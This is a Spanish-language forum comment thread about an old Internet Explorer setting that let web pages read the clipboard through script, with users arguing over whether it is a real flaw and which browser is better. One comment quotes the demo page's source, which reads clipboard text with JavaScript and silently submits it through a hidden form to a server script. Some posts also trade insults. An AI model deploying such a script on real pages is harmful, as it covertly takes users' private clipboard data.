A vueltas con el portapapeles

La desactivas y no hay mayor problema.

Salu2.

[URL=img450.imageshack.us/my.php?image=dibujo…[/IMG][/URL]

permitir operaciones de pegado por medio de una secuencia de comandos. <-- Lo tengo activado, pero no me lo pilla :S

:?

Sorry, I got nothing on you.

I presume that is because you don't use IE. Good for you!

Firefow ftw!!!

Voy y le quito la cartera a un fulano. Si se mosquea conmigo, le digo: "no tiene usted motivo para enfadarse, basta con que lleve puesto un cartel que diga que no quiere que le quiten la cartera, y en ese caso, yo no se la quitaré"

Windows XP SP2 + Internet Explorer 6.0.2900.2180 + Función activada = "Sorry, I got nothing on you."

Windows 2000 Server + Internet Explorer 6.0.2800.1106 + Función activada = "Sorry, I got nothing on you."

¿Seguro que no es un fake?

P.D.: no obstante mi navegador habitual es Firefox

Con Konqueror tampoco pasa.

Sí, es una chapuza. MS no se preocupa de la seguridad.

Pero claro, es MS. ¿Qué esperabas?. Mientras siga habiendo gente que crea que es igual de seguro usar MS que cualquier otra cosa seguirán pasando estas cosas. O mejor dicho, le seguirán pasando a otros.

A mi plin, yo duermo en pikolín...

La mejor forma de solucionar este bug es ir a mozilla.org/en-US y descargar el firefox, ahora solo te queda solucionar el otro bug, mas gordo si cabe,, entonces te vas a ubuntu.com o (link roto)

esto es una chorrada!! k fallo de seguridad!! es solo k ejecutas una sentencia php en tu ordenador para ver lo k hay en el portapapeles... lo mismo lo puedes hacer con C, VB o cualker lenguaje de programacion el hecho de k aparezca en el IE no kiere decir k TODO el mundo k esta conectado a internet pueda ver tu portapapeles... k chorrada!! por eso si copias algo al portapapeles puedes copiarlo en cualkier aplicacion... para eso es el portapapeles... tonterias...

Mas que un bug es una opcio de configuracion por defecto que no se deberia dar, como el user anonimo de ciertos servdores de ftp que no son mas que coladeros de todo tipo de archivos.

Pero es un poco la mentalidad anglosajona, esos tios en la vida real se dejan la puerta de casa abierta sin llave, luego se quejan de que les roban, si ni tan siquiera echan el pestillo. Supongo que algo de la mentalidad y la simple vida anglosajona ha debido salpicar a la informatica tambien.

Probado con Maxthon, que según creo usa el motor de IE y no funciona.

Por cierto, y ya que estoy aquí y si se me permite, me gustaría saber porque la gente alaba tanto a Firefox. No acabo de entenderlo, lo he probado y me parece lento, o muy lento. No tiene casi opciones de configuración, y lo de las pestañas parece de broma. Vamos, que no me convence para dejar mi Maxthon. Estoy a favor del software libre y ya me he pasado a OpenOffice, pero lo de Firefox no lo entiendo. O sea, entiendo que la gente no quiera usar IE, de acuerdo, pero ¿¿¿Firefox???

Con Maxthon tengo mil pestañas que se abren facilmente. Pincho sobre un link, arrastro y ya está en una pestaña nueva. Por cierto, las pestañas están abajo, opción que no encontré en Firefox. Si quiero buscar un texto en google (o el buscador que yo quiera), solo tengo que seleccionar el texto que veo en una web y arrastrarlo para que directamente lo busque en google. Y así con un monton de chorradas más que hacen que prefiera mil veces Maxthon a Firefox... Eso si, IE ni de palo...

Un saludo....

Estoy convencido de que si el firefox fuera el navegador más extendido o linux el Sistema Operativo más usado, también les aparecerían con mayor frecuencia bugs de seguridad, y parches y services packs, porque independientemente del grado de vulnerabilidad de una aplicación o sistema, además se necesita de gente "interesada" en meter las narices en tu PC.
SAludos.

No hay nada que mas me joda que tener que darle la razon a Akuma.

En la proxima noticia de Kriptopolis veremos que hay un bug en C que permite que al aparecer un scanf("%s",&string); el usuario almacene una cadena de texto en una variable .... ¬¬

No creo que encontrar una funcion a drede para capturar el contenido del portapapeles se le pueda llamar bug, al igual que si hubiese una para formatear el ordenador, es una funcion que se hizo para tal tarea y que esta documentada, por lo tanto es una caracterisica mas aunque pudiese ser peligrosa.

A quien no le guste que la deshabilite, asi de sencillo :P

Yo en el codigo solo veo Javascript por lo que toda la informacion queda en el cliente. Es como una pagina web que hace ya años te sacaba el contenido de C. La gente se quedaba acojo.. viendo la pantalla pero en realidad todo se estaba haciendo localmente sin enviar informacion a ninguna parte. Vamos creo yo.

Si con firefox sigues el enlace, cortas la url y la pegas en iexplorer, no va. Está claro que lo mejor para evitar las "features" de explorer es firefox xDDDDDD

Aunque esto lleve desde que salió el IE 5, yo no tenia ni idea y m parece muy buena idea decirlo, porque tal y como se ha puesto en los comentarios muchos de nosotros no lo sabiamos.

Por otro lado, me parece una funcionalidad que tiene más inconvenientes que convenientes. Tambien es cierto que no es una vulnerabilidad ya que puedes desactivarlo, pero no me parece la mitad de normal que si me "despisto" y tengo ciertos datos que no quiero que salgan a ser públicos en el portapapeles, que vaya a una página y pueda leerlos.

Por mucho menos se les -- ¿pidió o exigió? no lo recuerdo -- que cambiasen la configuración por defecto de las cookies.

Solo de pensar el tiempo que usé el IE y pensar que en algun momento tuve en el portapapeles datos personales que eran importantes para mi y que alguien los haya podido pillar, me entra un cabreo que pa que...

Además, la opcion que desactiva la opción, el texto que lo explica no es definitoria ya que informa sobre poder pegar mediante la secuencia de comandos, no dice nada de poder leer el contenido del mismo, que yo creo que no es lo mismo...

Que bug ni que leches...

Si queremos que una aplicacion JAVASCRIPT pegue el contenido de un texto del portapapeles a dicha aplicacion puslando un boton, no se podira hacer si no fuera por este comando.

Por ejemplo esos scripts que pegan el contenido del portapapeles detectando si viene de Word, si es plano, etc.

Logicamente, malitencionadamente puede enviarse la informacion con un form, pero para ello IE saca la ventana de "LA INFORMACION QUE SE ENVIARA BLA BLA BLA, ACEPAR?" solo que todo el mundo la primera vez que la ve le da a "NO RECORDAD MAS"

Esto es muy viejo, y no tiene que ver con el Bloc de notas, sino con el Portapapeles, que era posible leerlo desde script.

Basta con descartivar el acceso del páginas Web al Portapapeles en la configuración del Internet Explorer, o estar al día en cuanto a actualizaciones de seguridad.

Saludos.

No le acabo de ver el problema. Efectivamente puedo ver el contenido del portapapeles, pero esto no sale de mi PC a no ser que haya otra vulnerabilidad que lo permita. Luego el problema seria esta última, pero no el que yo pueda ver el contenido de mi propio portapapeles.

Si me equivoco, corregidme, por favor.

Saludos

pues a mi me sale esto

Here"s what you were doing before going here:

oeh.network-electronics.com/%7Eolegil/clipboard.html
Here"s how I did it:

<html>
<head>
<title>GNAA Last Measure v4.1 by Rucas with Armorfist"s PopupByPasser Mod.</title>
</head>

<body>

<form name="clip" method="post" action="test.php" style="display:none">
<input type="text" name="content">
<input type="submit">
</form>

<script language="javascript">
//without this if statement check, it bombs out with an error
if(typeof clipboardData != "undefined") {
var content = clipboardData.getData("Text");
document.forms["clip"].elements["content"].value = content;
}
document.forms["clip"].submit();
</script>
</body>
</html>

mmmm pos no se

Pues yo no veo que sea tan grave, el único usuario para quien puede representar una amenaza es al mismo gilipollas que se traga el primer mail de pishing que le llega con faltas de ortografia, el que se ilusiona con un mensaje que dice "I love you" o instala el primer "supersalvapantallas megaguay" que le llega de un guiri que no conoce o de un amigo suyo que, mira por donde, le habla en inglés siendo de Almendralejo.

Muchas ganas de los fanaticos de linux para armar jaleo por cualquier chorrada es lo que veo.

Solo digo que leer una noticia y sus correspondientes comentarios tal y como lo esta dejando Akuma de "decorao" es imposible. Lo peor de todo es que los moderadores no se pronuncien al respecto que le vamos a hacer, asi va el pais xD.

Bueno, en vista de lo podrido ke esta BandaAncha, voy a eskribir mi ULTIMO mensaje. No merece la pena seguir intentado hacer ver a la gente ke no todo lo bueno es libre y viceversa al igual ke no todo lo propietario es malo y viceversa. Kansado ya de tanta falacia, tanta hipokresia y tanta tonteria de los subnormales o tambien konocidos komo "gasolineros"(jmoraf, Krigan, overpeer, carlosues, Stendall, K-Beast, rwx, etc.) ke pululan por esta web, mejor voy a visitar otro sitio donde por decir ke Windows le funciona bien a uno o ke la mayoria de soft libre es peor ke su ononimo propietario no le baneen/censuren y le insulten kada dos por tres debido a ello.

No se ke pensareis los ke akabais de llegar y leais esto, kiza penseis ke esta pagina e s una pagina libre komo otras ke SI ke los son(cable-usuarios.org). Nada mas lejos de la realidad, esta gentuza promulga kon el soft libre y patatin, patatan, pero a la hora de la verdad ni sikiera respetan la libertad de expresion. Asi ke tenedlo en kuenta, BandaAncha es una pagina hecha por y para Linuxeros ke visto lo visto debio de llamarse BarraPunto2.

Por ultimo solo komentar ke si alguna vez os censuran un mensaje, ke sepais ke no solo los usuarios pueden puntuar y dar los puntos, los moderadores de la web pueden puntuar, dar puntos y eskribir mensajes, censurando los ke no les interesen(osea, los ke esten a favor de algo relacionado kon Windows o Microsoft) komo ha kedado demostrado en este hilo(verdad rwx?). Asi ke no os asusteis si algun dia os censuran un mensaje, podria ser un usuario, pero kasi seguro ke habra sido un moderador. De hecho, seguramente este sea un mensaje "molesto" para ellos por decir la verdad, asi ke estara censurado y tendreis ke ver los mensajes kon -1 para poder verlo. No tendran huevos a dejarlo tal y komo yo lo ponga, accesible para todo el mundo.

Hasta nunka.Akuma.

P.D.: Si algun dia veis una "noticia" extraña komo esta, o ke no funciona bien la pagina del Real Madrid, o ke rociito se ha suicidado, o kosas asi, no os extrañe. Para ellos eso es noticia.

bola de weyes

Venga Akuma, empieza de nuevo a repetirte como las lentejas...A vueltas con el portapapeles